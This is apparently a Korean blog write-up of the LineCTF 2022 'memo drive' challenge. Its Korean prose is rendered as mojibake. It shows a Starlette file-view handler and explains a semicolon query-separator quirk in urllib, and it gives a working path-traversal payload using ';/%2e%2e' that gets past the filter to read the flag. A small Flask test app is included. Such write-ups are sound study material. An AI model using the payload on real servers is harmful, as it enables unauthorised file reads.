LineCTF 2022 - memo drive
python์ starlette ํ๋ ์์ํฌ ๊ธฐ๋ฐ์ผ๋ก ๋ง๋ค์ด์ง ๋ฉ๋ชจ ๊ธฐ๋ฅ์ ํ์ด์ง์ด๋ค.
๋ฉ์ธ ํ์ด์ง์ /view, /reset, /save ์ ๊ฒฝ๋ก๊ฐ ์กด์ฌํ๋ค.
path traversal ์ทจ์ฝ์ ์ ํตํด flag๋ฅผ ํ๋ํด์ผํ๋๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
์ทจ์ฝํ ๊ฑฐ๊ฐ์ ๋ถ๋ถ์ ํ์ธํด๋ณด๋ฉด ์๋ /view ํ์ด์ง๊ฐ ์ทจ์ฝํด ๋ณด์ธ๋ค.
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
except:
pass
return templates.TemplateResponse('/view/view.html', context)
request.url.query์ &, . ์ด ํฌํจ๋์ด์์ผ๋ฉด ์๋์ด์ ์ฐํํ ๋ฐฉ๋ฒ์ด๋ ๋ค๋ฅธ ๋ถ๋ถ์ด ํ์ํ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
ํ์ง๋ง starlette ์ ๊นํํ์ด์ง์ ๋ณด๋ฉด ์ด๋ฅผ ์ฐํํ ์ ์๋ ์ทจ์ฝ์ ์ด ์ด์๋ก ์ฌ๋ผ์จ๊ฒ์ด์๋ค.
https://github.com/encode/starlette/issues/1325
;(์ธ๋ฏธ์ฝ๋ก )์ด ํ๋ผ๋ฏธํฐ์ ๊ตฌ๋ถ์๋ก ์ธ์๋๋ ๋ฒ๊ทธ๊ฐ ์๋ค๋ ๋ด์ฉ์ด๋ค.
ํด๋น ์ทจ์ฝ์ ์ ํตํด ์๋ ํ์ด๋ก๋๋ก ๊ณต๊ฒฉ์ ์งํํด๋ณด๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
/view?d54a71d5bcf9c5b93756ad0c97b2d830=flag;/%2e%2e
ํด๋น ๋ฒ๊ทธ๋ starlette์์ ๋ฐ์ํ๋๊ฒ์ด ์๋๋ผ ํน์ urllib์์ ๋ฐ์ํ๋๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
https://python-security.readthedocs.io/vuln/urllib-query-string-semicolon-separator.html
๊ฐ๋จํ docker ํ๊ฒฝ ๊ตฌ์ฑํ์ฌ ํ ์คํธ ํด๋ณด๋
from flask import Flask, request, render_template_string
from urllib.parse import urlparse, parse_qs, parse_qsl
app = Flask(__name__)
@app.route("/")
def index():
data = request.args.to_dict()
data2 = urlparse(request.url)
data2 = parse_qs(data2.query)
print(data)
template = '''<h1> what is template ?? is <span style="color:grey">{}</span>//**//<span style="color:grey">{}</span></h1>'''.format(data,data2)
return render_template_string(template)
if __name__=="__main__":
app.run()
flask์ request๋ก ํ์ธํ ๋ถ๋ถ๊ณผ urllib์ ํตํด parse ํ์๋ flask์์๋ ; ์ด ๊ตฌ๋ถ์๋ก ์ฌ์ฉ์ด ์๋์ง๋ง
urllib์ผ๋ก parse ํ์๋๋ ; ๋ ๊ตฌ๋ถ์๋ก ์ฌ์ฉ๋๋๊ฒ์ ํ์ธํ ์ ์์๋ค.
http://172.17.0.3:5000/?data=213;test=213&t1=222
'๐ก๏ธCTF > LineCTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
LineCTF(2023) - Adult Simple GoCurl (0) | 2023.08.13 |
---|---|
LineCTF(2023) - Baby Simple GoCurl (0) | 2023.08.13 |
LineCTF 2022 - gotm (0) | 2022.03.29 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
LineCTF(2023) - Adult Simple GoCurl
LineCTF(2023) - Adult Simple GoCurl
2023.08.13 -
LineCTF(2023) - Baby Simple GoCurl
LineCTF(2023) - Baby Simple GoCurl
2023.08.13 -
LineCTF 2022 - gotm
LineCTF 2022 - gotm
2022.03.29